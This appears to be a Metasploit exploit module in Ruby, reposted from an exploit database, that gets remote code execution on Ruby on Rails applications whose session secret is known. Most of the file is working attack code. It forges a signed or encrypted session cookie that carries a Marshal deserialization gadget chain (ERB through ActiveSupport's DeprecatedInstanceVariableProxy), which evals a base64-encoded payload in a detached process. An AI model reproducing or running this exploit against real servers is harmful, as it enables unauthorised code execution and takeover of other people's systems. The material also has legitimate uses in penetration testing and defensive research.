## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking #Helper Classes copy/paste from Rails4 class MessageVerifier class InvalidSignature < StandardError; end def initialize(secret, options = {}) @secret = secret @digest = options[:digest] || 'SHA1' @serializer = options[:serializer] || Marshal end def generate(value) data = ::Base64.strict_encode64(@serializer.dump(value)) "#{data}--#{generate_digest(data)}" end def generate_digest(data) require 'openssl' unless defined?(OpenSSL) OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data) end end class MessageEncryptor module NullSerializer #:nodoc: def self.load(value) value end def self.dump(value) value end end class InvalidMessage < StandardError; end OpenSSLCipherError = OpenSSL::Cipher::CipherError def initialize(secret, *signature_key_or_options) options = signature_key_or_options.extract_options! sign_secret = signature_key_or_options.first @secret = secret @sign_secret = sign_secret @cipher = options[:cipher] || 'aes-256-cbc' @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer) # @serializer = options[:serializer] || Marshal end def encrypt_and_sign(value) @verifier.generate(_encrypt(value)) end def _encrypt(value) cipher = new_cipher cipher.encrypt cipher.key = @secret # Rely on OpenSSL for the initialization vector iv = cipher.random_iv #encrypted_data = cipher.update(@serializer.dump(value)) encrypted_data = cipher.update(value) encrypted_data << cipher.final [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--") end def new_cipher OpenSSL::Cipher::Cipher.new(@cipher) end end class KeyGenerator def initialize(secret, options = {}) @secret = secret @iterations = options[:iterations] || 2**16 end def generate_key(salt, key_size=64) OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size) end end include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Ruby on Rails Known Secret Session Cookie Remote Code Execution', 'Description' => %q{ This module implements Remote Command Execution on Ruby on Rails applications. Prerequisite is knowledge of the "secret_token" (Rails 2/3) or "secret_key_base" (Rails 4). The values for those can be usually found in the file "RAILS_ROOT/config/initializers/secret_token.rb". The module achieves RCE by deserialization of a crafted Ruby Object. }, 'Author' => [ 'joernchen of Phenoelit ', ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://charlie.bz/blog/rails-3.2.10-remote-code-execution'], #Initial exploit vector was taken from here ['URL', 'http://robertheaton.com/2013/07/22/how-to-hack-a-rails-app-using-its-secret-token/'] ], 'DisclosureDate' => 'Apr 11 2013', 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Privileged' => false, 'Targets' => [ ['Automatic', {} ] ], 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), OptInt.new('RAILSVERSION', [ true, 'The target Rails Version (use 3 for Rails3 and 2, 4 for Rails4)', 3]), OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "GET"]), OptString.new('SECRET', [ true, 'The secret_token (Rails3) or secret_key_base (Rails4) of the application (needed to sign the cookie)', nil]), OptString.new('COOKIE_NAME', [ false, 'The name of the session cookie',nil]), OptString.new('DIGEST_NAME', [ true, 'The digest type used to HMAC the session cookie','SHA1']), OptString.new('SALTENC', [ true, 'The encrypted cookie salt', 'encrypted cookie']), OptString.new('SALTSIG', [ true, 'The signed encrypted cookie salt', 'signed encrypted cookie']), OptBool.new('VALIDATE_COOKIE', [ false, 'Only send the payload if the session cookie is validated', true]), ], self.class) end # # This stub ensures that the payload runs outside of the Rails process # Otherwise, the session can be killed on timeout # def detached_payload_stub(code) %Q^ code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first if RUBY_PLATFORM =~ /mswin|mingw|win32/ inp = IO.popen("ruby", "wb") rescue nil if inp inp.write(code) inp.close end else Kernel.fork do eval(code) end end {} ^.strip.split(/\n/).map{|line| line.strip}.join("\n") end def check_secret(data, digest) data = Rex::Text.uri_decode(data) if datastore['RAILSVERSION'] == 3 sigkey = datastore['SECRET'] elsif datastore['RAILSVERSION'] == 4 keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000}) sigkey = keygen.generate_key(datastore['SALTSIG']) end digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new(datastore['DIGEST_NAME']), sigkey, data) end def rails_4 keygen = KeyGenerator.new(datastore['SECRET'],{:iterations => 1000}) enckey = keygen.generate_key(datastore['SALTENC']) sigkey = keygen.generate_key(datastore['SALTSIG']) crypter = MessageEncryptor.new(enckey, sigkey) crypter.encrypt_and_sign(build_cookie) end def rails_3 # Sign it with the secret_token data = build_cookie digest = OpenSSL::HMAC.hexdigest(OpenSSL::Digest::Digest.new("SHA1"), datastore['SECRET'], data) marshal_payload = Rex::Text.uri_encode(data) "#{marshal_payload}--#{digest}" end def build_cookie # Embed the payload with the detached stub code = "eval('" + Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) + "'.unpack('m0').first)" if datastore['RAILSVERSION'] == 4 return "\x04\b" + "o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" + ":\x0E@instanceo" + ":\bERB\x06" + ":\t@src"+ Marshal.dump(code)[2..-1] + ":\f@method:\vresult:" + "\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00" end if datastore['RAILSVERSION'] == 3 return Rex::Text.encode_base64 "\x04\x08" + "o"+":\x40ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy"+"\x07" + ":\x0E@instance" + "o"+":\x08ERB"+"\x06" + ":\x09@src" + Marshal.dump(code)[2..-1] + ":\x0C@method"+":\x0Bresult" end end # # Send the actual request # def exploit if datastore['RAILSVERSION'] == 3 cookie = rails_3 elsif datastore['RAILSVERSION'] == 4 cookie = rails_4 end cookie_name = datastore['COOKIE_NAME'] print_status("Checking for cookie #{datastore['COOKIE_NAME']}") res = send_request_cgi({ 'uri' => datastore['TARGETURI'] || "/", 'method' => datastore['HTTP_METHOD'], }, 25) if res && res.headers['Set-Cookie'] match = res.headers['Set-Cookie'].match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+); /) end if match if match[1] == datastore['COOKIE_NAME'] print_status("Found cookie, now checking for proper SECRET") else print_status("Adjusting cookie name to #{match[1]}") cookie_name = match[1] end if check_secret(match[2],match[3]) print_good("SECRET matches! Sending exploit payload") else fail_with(Exploit::Failure::BadConfig, "SECRET does not match") end else print_warning("Caution: Cookie not found, maybe you need to adjust TARGETURI") if cookie_name.nil? || cookie_name.empty? # This prevents trying to send busted cookies with no name fail_with(Exploit::Failure::BadConfig, "No cookie found and no name given") end if datastore['VALIDATE_COOKIE'] fail_with(Exploit::Failure::BadConfig, "COOKIE not validated, unset VALIDATE_COOKIE to send the payload anyway") else print_status("Trying to leverage default controller without cookie confirmation.") end end print_status "Sending cookie #{cookie_name}" res = send_request_cgi({ 'uri' => datastore['TARGETURI'] || "/", 'method' => datastore['HTTP_METHOD'], 'headers' => {'Cookie' => cookie_name+"="+ cookie}, }, 25) handler end end # Iranian Exploit DataBase = http://IeDb.Ir [2013-08-12]